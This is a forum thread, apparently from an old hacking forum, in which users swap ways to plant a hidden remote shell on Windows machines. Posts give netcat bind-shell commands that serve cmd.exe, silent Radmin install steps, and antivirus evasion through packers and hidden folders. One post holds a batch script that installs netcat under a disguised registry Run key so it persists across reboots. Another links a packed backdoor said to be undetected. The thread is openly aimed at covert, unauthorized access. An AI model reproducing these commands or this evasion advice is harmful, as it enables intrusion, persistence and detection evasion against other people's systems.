Hey guys need some help. Whats the best program to use on a windows machine that will listen on a certain port, that i can telnet to and get a shell.

I looked into rsh.exe and rshd.exe, havent had much luck with them. And I also searched this forum, with most results talking about the shell you get after you sploit the box. I need a small dos prog i can setup as a service that will give me a shell when i telnet to it.

Also encryption and stealth (beating a security audit) are features that would come in handy.

Thanks guys.

i think the best one to do this job (because u can configure it the way u want) is winshell 5.0, and the most important thing is that antivirus doesnt seem to detect it.

here u can grabit.

Thanks for the help I'll check it out. It seems Symantec (Norton Anti-Virus) finds it.

Anyone got a shell that isnt classified as a Backdoor trojan, or hack tool?
SeNe
if u up and execute the file on system volume information u can use it without prob because NAV doesnt scan by default that section.

Netcat ....

nc.exe -l -d -p port -e cmd.exe

Netcat ....

nc.exe -L -d -p port -e cmd.exe

Make it a uppercase "-L" if you want the shell to respawn after you exit
skydance
try icmd.exe, u can setup a pass.... with netcat everyone can connect if they find the port.

damn icmd.exe is detected too. Anyone got some good links to tuts on changing some bytes around to avoid most A/V?

i believe the term is called "packing" probs the most common packer is upx..
there are other ones, you dont need to compress either. can just encrypt it.
nortons is gettting pretty good with detecting upx'd files to now.. perfect example is sdbot

The winshell server maker is detected, but the winshell server itself is not detected. I am on Norton Antivirus 2004 Pro, with the latest definitions and it doesnt have a clue about the winshell server. remember that you can make it different sizes.
keith1569
you can also just install radmin which gives u telnet acces as a option..the files you need to upload r
AdmDll.dll
r_server.exe
radmin.reg---you need to get the reg files from your registry

Here are the commands to start it
regedit.exe /s radmin.reg
r_server.exe /install /silence
r_server.exe /start

hope this helped ya
Sparkles
problem with radmin its obvious inthe services listing (cant remember if you can change it with out brekaing it)

Thanks, that helps me much out wink.gif

Try cryptcat. Should do the job, plus provides point-to-point encryption..
=k3Rn=
so i'll try the radmin. idon't really care if it's listed in the services list.
when u sing netcat witl the -L option, the port will be open all the time as i understood. how can you hold the backdoor open after a restart ?
install that command as firedaemon service ? or is there a better way ?

Can't rember what the tool is called but check out Hacking Exsposed Win2k. It's a simple way. Sorry not much use, my copy is packed away sad.gif

hi, i compressed the tool icmd.exe with the upx packer so it wasn detected anymore by norton coporate edition. can you check if it is also not detected by other virus scanners, thx
http://212.202.50.233:88/icmd.zip

I tested it with 4 email virus scanner, but it wasnt detected.

Wolf 1.6 from xfocus.org isnt too bad, u can change the service name to what ever u want , have it password controled, pack it or use a UPX scrambler or Morphine12 to make it undetectable.
cheers
den0m
@SNOZZ:
Also, you can try to find older versions of Wolf. AFAIK some don't get detected at all but they work fine.
boshcash
using packers and morphine and adding bytes tools , u can make winshell undetected i did that !
BlackBoard
@ boshcash can you give me that tools?

big thx

nc is very good

As per one of the previous posters - cryptcat (nc.exe encrypted) will fullfill your needs:

Can listen on any port or go out on any port.
DES encryption (good foor getting around IDS)
Can reverse cmd.exe back as well.. (Good as a back door)

Thx a lot for this really useful tip .

I think the best way to accomplish this is to make a batch calling netcat, and keeping it on a certain port, returning cmd.exe. Someone beat me to posting the code to do it... read up.

Norton Antivirus does not detect the server program... it only detects the "builder"

I tried it to detect with NAV 2004 + newest updates

is it to possible bind netcat with flags (nc -L -p <port> -e cmd.exe -d -vv) to an exe file using upx?
skorpio
netcat is greet, but i didn't know a method for install the netcat with a service.

If u use the flag -L, u can enter in the server until that the server will be restarting...

nobody it knows a method to install a service for netcat?

bye and sorry for my english wink.gif
RuFI0
but what if i bind netcat with the exe file and also bind a batch file to install netcat? In other words, bind both netcat and the batch file together with the exe file?
dozolax
yea...netcat is probably he best idea
woodpecker_sjtu
nc is the greatest

If you want encryptiont then you could use cryptcat, which is basically exactly the same as netcat, but encrypted ph34r.gif
Fareway
netcat is like a swiss army knife !
agamemnon
Grrrr, you CAN give netcat a password!!

Take a look at this post: Giving Netcat Password Functionality

(I do admit however, that it might not be the easiest of things.)

Everyone keeps talking about a tool called Morphine to encrypt files, but I cant seem to find it anywhere. All i get in google are preformance enchancing drugs. =P

Where might it be?
h3llraz0r
a simple way to make netcat run at every start up is to make a batch file with the code below

CODE

@echo off
move nc.exe %systemroot%\system32
move reg.exe %systemroot%\system32
start %systemroot%\system32\nc.exe -L -d -e cmd.exe -p 69
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v Rundllcms /t REG_SZ  /d "%systemroot%\system32\nc.exe -L -d -e cmd.exe -p 69"
exit


change the port to whatever you want and you can change Rundllcms to the name you want for the registry entry

hope this helps some of ya smile.gif

oops sorry for the dumb post ^^ i got it workin ima a total newb laugh.gif

i use srvcmd.exe. but there is no password protection. it runs hidden and you can choose port where you want to connect to via telnet.
